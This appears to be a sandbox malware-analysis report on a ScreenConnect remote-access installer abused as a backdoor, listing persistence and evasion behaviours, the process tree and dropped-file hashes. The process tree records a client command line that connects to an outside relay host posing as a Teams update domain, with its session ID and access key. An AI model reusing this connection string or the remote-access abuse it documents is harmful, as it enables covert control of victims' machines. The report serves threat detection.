Analysis

  • max time kernel
    148s
  • max time network
    102s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 00:16

General

  • Target
    ScreenConnect.ClientSetup (17) (1).msi
  • Size 4.8MB
  • Sample260705-akggcaaz9m
  • SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 23 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup (17) (1).msi"
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5892
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5848
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B8429744D4D2514B4503C55D49FB6E69 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1972
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI631.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240715406 3 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2304
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2892
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 671BF36265DE65CCC34E32149E58CF9F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2768
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2AA6F2B2773F0825C333AF786FB09E95 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1156
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5552
    • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relays.teamsupdatevipapi0274.us&p=8041&s=67cf732a-2923-4af8-b195-4ada4e57de32&k=BgIAAACkAABSU0ExAAgAAAEAAQAVabycuWi%2f7lyJLoh11Qj1Cq5CVJ%2bVuScNNNGuiC9UGJLvHaj0X%2b6gclkT%2fcjS02p8mijmYpYttTDewuFp%2bvY1Buxm26B7KFgfW2khyXv6ib3aqTBbjQC5muTSJ2207dOdkF6gNeZNeQ2ecDkaAYuboNEBvOlO0nfJZIael%2f135yu4oTzLUNG8d6vL2xJSiM1%2burlDwERDVfHlwfC%2f18MEDiDfUgwQUA0rOBUpi1a3jb5%2bAxEzx%2bpoGam8cKu8dxs8IKtZvHVTwp1OoFZTWPcq2kDBJY3c7UCIB%2bWnQXDPvu0%2f9Dxe8fjABQmgy%2ftZYM7EgQerUl8tlF21L0M0ufyq"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3812
      • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "a8ea7b14-bde6-4872-912a-a4912ebf056f" "User"
        2⤵
        • Executes dropped EXE
        PID:2236
      • C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe" "RunRole" "2de4d901-5201-43fe-a9f4-a295dce9faeb" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5916
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5460

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e594dd9.rbs

            • Path C:\Config.Msi\e594dd9.rbs
            • Size 214KB
            • SHA256 2b86fa1159febec4006f55ab7b1b6dd026ccf76d9d458c4f3cdc7267a0215c4e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.en-US.resources
            • Size 316B
            • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
            • MD5 SHA1 SHA512 TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.Override.resources
            • Size 11KB
            • SHA256 766d0d7d3f9d4aa8b34f1cf09acd9bc2da35750ba5346c4de77e6ee001438607
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\Client.resources
            • Size 33KB
            • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Client.dll
            • Size 202KB
            • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.dll
            • Size 77KB
            • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Core.dll
            • Size 549KB
            • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 838KB
            • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\app.config
            • Size 2KB
            • SHA256 88731e50367d1fdf558a5d66a751fb263cdfdf5a44a66d6db8092f9a1819aea7
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (5ee602d3c477757f)\system.config
            • Size 963B
            • SHA256 6d44f1aa666abb186fdd9d4f17f58725c100b5c0ed85794ba1ec35531870e5d6
            • MD5 SHA1 SHA512 TLSH

            MSI631.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI631.tmp
            • Size 1.0MB
            • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI631.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI631.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI631.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI631.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI8e7cb.LOG

            • Path C:\Users\Admin\AppData\Local\Temp\MSI8e7cb.LOG
            • Size 232B
            • SHA256 3d1ae9294e7b921cd05e08ea6fe27697de6d3c701ac4b8d43b36d9496d13ed42
            • MD5 SHA1 SHA512 TLSH

            MSIE6F0.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSIE6F0.tmp
            • Size 1.1MB
            • SHA256 a567086664f73664d2824f87bf0207bd018ccb4b4a5a9c2ff1ddadc50be1a696
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI5403.tmp

            • Path C:\Windows\Installer\MSI5403.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e594dd8.msi

            • Path C:\Windows\Installer\e594dd8.msi
            • Size 4.8MB
            • SHA256 0fb32dc1d635993ca59dbb513610c7ea0386d8ee8ca3fc7659aa62bf306ce801
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 672500f278fac939538cf87c0204f8458bd3df0513678852da2a06fab2ba8bba
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {7f7f034c-de2b-473c-bccf-2de2b68a4fa4}_OnDiskSnapshotProp

            • Path \??\Volume{1e88ca29-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7f7f034c-de2b-473c-bccf-2de2b68a4fa4}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 09f2498e045fb1a3c88c90231884a397a31dd5f0d1e500b5a204f1760fa50990
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2236-129-0x0000000002DC0000-0x0000000002DD8000-memory.dmp

            memory/2236-128-0x000000001C1A0000-0x000000001C328000-memory.dmp

            memory/2236-127-0x000000001BE60000-0x000000001C00C000-memory.dmp

            memory/2236-124-0x0000000000C10000-0x0000000000CA8000-memory.dmp

            memory/2236-126-0x000000001BC20000-0x000000001BCAE000-memory.dmp

            memory/2236-125-0x0000000002E10000-0x0000000002E46000-memory.dmp

            memory/2236-130-0x000000001B840000-0x000000001B858000-memory.dmp

            memory/2304-26-0x00000000037F0000-0x00000000037FA000-memory.dmp

            memory/2304-22-0x0000000003810000-0x000000000383E000-memory.dmp

            memory/2304-35-0x00000000063C0000-0x000000000697A000-memory.dmp

            memory/2304-34-0x0000000005C50000-0x0000000005DFC000-memory.dmp

            memory/2304-30-0x0000000003930000-0x00000000039BE000-memory.dmp

            memory/3812-80-0x0000000004440000-0x0000000004458000-memory.dmp

            memory/3812-114-0x0000000004DD0000-0x0000000004EA5000-memory.dmp

            memory/3812-112-0x00000000048B0000-0x00000000048F1000-memory.dmp

            memory/3812-110-0x0000000004BE0000-0x0000000004C72000-memory.dmp

            memory/3812-109-0x0000000004B00000-0x0000000004B36000-memory.dmp

            memory/3812-90-0x0000000004900000-0x0000000004AAC000-memory.dmp

            memory/3812-86-0x00000000046C0000-0x000000000474E000-memory.dmp

            memory/3812-105-0x0000000004AB0000-0x0000000004B00000-memory.dmp